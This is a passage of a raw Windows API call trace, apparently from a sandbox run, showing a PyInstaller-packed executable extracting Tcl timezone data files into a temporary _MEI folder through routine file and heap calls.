[0038.143] htonl (hostlong=0x8f000000) returned 0x8f [0038.143] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x8f) returned 0x550600 [0038.143] htonl (hostlong=0x88000000) returned 0x88 [0038.143] htonl (hostlong=0x8f000000) returned 0x8f [0038.143] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x560088 [0038.143] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0038.143] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55cfe0 | out: hHeap=0x530000) returned 1 [0038.143] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0038.143] CloseHandle (hObject=0x10c) returned 1 [0038.143] GetLastError () returned 0x0 [0038.143] SetLastError (dwErrCode=0x0) [0038.143] GetLastError () returned 0x0 [0038.143] SetLastError (dwErrCode=0x0) [0038.143] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0038.143] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0038.143] GetFileType (hFile=0x10c) returned 0x1 [0038.143] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0038.143] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0038.143] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0038.143] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0038.143] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.143] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.143] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.143] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.143] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0038.144] CloseHandle (hObject=0x10c) returned 1 [0038.144] GetLastError () returned 0x0 [0038.144] SetLastError (dwErrCode=0x0) [0038.144] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata") returned 56 [0038.144] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0038.144] GetFileType (hFile=0x10c) returned 0x1 [0038.144] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0038.144] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0038.144] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0038.144] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0038.144] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.144] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.144] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.144] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.144] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0038.144] CloseHandle (hObject=0x10c) returned 1 [0038.144] GetLastError () returned 0x0 [0038.144] SetLastError (dwErrCode=0x0) [0038.144] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Africa") returned 63 [0038.144] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Africa" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\africa"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0038.144] GetFileType (hFile=0x10c) returned 0x1 [0038.145] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0038.145] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0038.145] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0038.145] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0038.145] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.145] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.145] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.145] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.145] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0038.145] CloseHandle (hObject=0x10c) returned 1 [0038.145] GetLastError () returned 0x0 [0038.145] SetLastError (dwErrCode=0x0) [0038.145] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Africa\\Douala") returned 70 [0038.145] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Africa\\Douala" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\africa\\douala"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0038.145] GetLastError () returned 0x2 [0038.145] SetLastError (dwErrCode=0x2) [0038.145] GetLastError () returned 0x2 [0038.145] SetLastError (dwErrCode=0x2) [0038.145] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Africa\\Douala", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Africa\\Douala", lpFilePart=0x0) returned 0x45 [0038.145] GetLastError () returned 0x2 [0038.145] SetLastError (dwErrCode=0x2) [0038.145] GetLastError () returned 0x2 [0038.145] SetLastError (dwErrCode=0x2) [0038.145] GetLastError () returned 0x2 [0038.145] SetLastError (dwErrCode=0x2) [0038.145] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Africa\\Douala") returned 70 [0038.145] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0038.146] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Africa\\Douala" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\africa\\douala"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0038.146] GetFileType (hFile=0x10c) returned 0x1 [0038.146] htonl (hostlong=0x8f000000) returned 0x8f [0038.146] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x55d270 [0038.146] WriteFile (in: hFile=0x10c, lpBuffer=0x55d270*, nNumberOfBytesToWrite=0x8f, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x55d270*, lpNumberOfBytesWritten=0x4fcd6c*=0x8f, lpOverlapped=0x0) returned 1 [0038.147] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0038.147] CloseHandle (hObject=0x10c) returned 1 [0038.148] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0038.148] htonl (hostlong=0x30000000) returned 0x30 [0038.148] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0038.148] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0038.148] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0038.148] GetFileType (hFile=0x10c) returned 0x1 [0038.148] htonl (hostlong=0xac4d5800) returned 0x584dac [0038.148] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x5cfdac, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0038.148] htonl (hostlong=0x97000000) returned 0x97 [0038.148] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x97) returned 0x55cfe0 [0038.148] htonl (hostlong=0x97000000) returned 0x97 [0038.148] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x55d270 [0038.148] ReadFile (in: hFile=0x10c, lpBuffer=0x55d270, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x55d270*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0038.148] htonl (hostlong=0xab000000) returned 0xab [0038.148] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xab) returned 0x550600 [0038.148] htonl (hostlong=0x97000000) returned 0x97 [0038.148] htonl (hostlong=0xab000000) returned 0xab [0038.148] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x560088 [0038.148] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0038.148] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55cfe0 | out: hHeap=0x530000) returned 1 [0038.148] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0038.148] CloseHandle (hObject=0x10c) returned 1 [0038.148] GetLastError () returned 0x0 [0038.148] SetLastError (dwErrCode=0x0) [0038.148] GetLastError () returned 0x0 [0038.148] SetLastError (dwErrCode=0x0) [0038.148] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0038.149] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0038.149] GetFileType (hFile=0x10c) returned 0x1 [0038.149] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0038.149] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0038.149] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0038.149] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0038.149] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.149] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.149] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.149] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.149] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0038.149] CloseHandle (hObject=0x10c) returned 1 [0038.149] GetLastError () returned 0x0 [0038.149] SetLastError (dwErrCode=0x0) [0038.149] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata") returned 56 [0038.149] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0038.149] GetFileType (hFile=0x10c) returned 0x1 [0038.149] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0038.149] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0038.149] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0038.149] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0038.149] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.149] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.150] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.150] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.150] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0038.150] CloseHandle (hObject=0x10c) returned 1 [0038.150] GetLastError () returned 0x0 [0038.150] SetLastError (dwErrCode=0x0) [0038.150] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Africa") returned 63 [0038.150] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Africa" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\africa"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0038.150] GetFileType (hFile=0x10c) returned 0x1 [0038.150] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0038.150] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0038.150] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0038.150] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0038.150] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.150] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.150] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.150] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.150] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0038.150] CloseHandle (hObject=0x10c) returned 1 [0038.150] GetLastError () returned 0x0 [0038.150] SetLastError (dwErrCode=0x0) [0038.150] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Africa\\El_Aaiun") returned 72 [0038.150] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Africa\\El_Aaiun" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\africa\\el_aaiun"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0038.151] GetLastError () returned 0x2 [0038.151] SetLastError (dwErrCode=0x2) [0038.151] GetLastError () returned 0x2 [0038.151] SetLastError (dwErrCode=0x2) [0038.151] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Africa\\El_Aaiun", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Africa\\El_Aaiun", lpFilePart=0x0) returned 0x47 [0038.151] GetLastError () returned 0x2 [0038.151] SetLastError (dwErrCode=0x2) [0038.151] GetLastError () returned 0x2 [0038.151] SetLastError (dwErrCode=0x2) [0038.151] GetLastError () returned 0x2 [0038.151] SetLastError (dwErrCode=0x2) [0038.151] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Africa\\El_Aaiun") returned 72 [0038.151] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0038.151] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Africa\\El_Aaiun" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\africa\\el_aaiun"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0038.151] GetFileType (hFile=0x10c) returned 0x1 [0038.151] htonl (hostlong=0xab000000) returned 0xab [0038.151] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x55d270 [0038.151] WriteFile (in: hFile=0x10c, lpBuffer=0x55d270*, nNumberOfBytesToWrite=0xab, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x55d270*, lpNumberOfBytesWritten=0x4fcd6c*=0xab, lpOverlapped=0x0) returned 1 [0038.152] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0038.152] CloseHandle (hObject=0x10c) returned 1 [0038.153] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0038.153] htonl (hostlong=0x30000000) returned 0x30 [0038.153] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0038.153] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0038.153] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0038.153] GetFileType (hFile=0x10c) returned 0x1 [0038.153] htonl (hostlong=0x434e5800) returned 0x584e43 [0038.153] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x5cfe43, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0038.153] htonl (hostlong=0x47010000) returned 0x147 [0038.153] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x147) returned 0x550600 [0038.153] htonl (hostlong=0x47010000) returned 0x147 [0038.153] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x55d270 [0038.153] ReadFile (in: hFile=0x10c, lpBuffer=0x55d270, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x55d270*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0038.153] htonl (hostlong=0xec030000) returned 0x3ec [0038.153] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x3ec) returned 0x550750 [0038.153] htonl (hostlong=0x47010000) returned 0x147 [0038.153] htonl (hostlong=0xec030000) returned 0x3ec [0038.153] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x560088 [0038.153] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0038.153] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0038.153] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0038.154] CloseHandle (hObject=0x10c) returned 1 [0038.154] GetLastError () returned 0x0 [0038.154] SetLastError (dwErrCode=0x0) [0038.154] GetLastError () returned 0x0 [0038.154] SetLastError (dwErrCode=0x0) [0038.154] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0038.154] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, 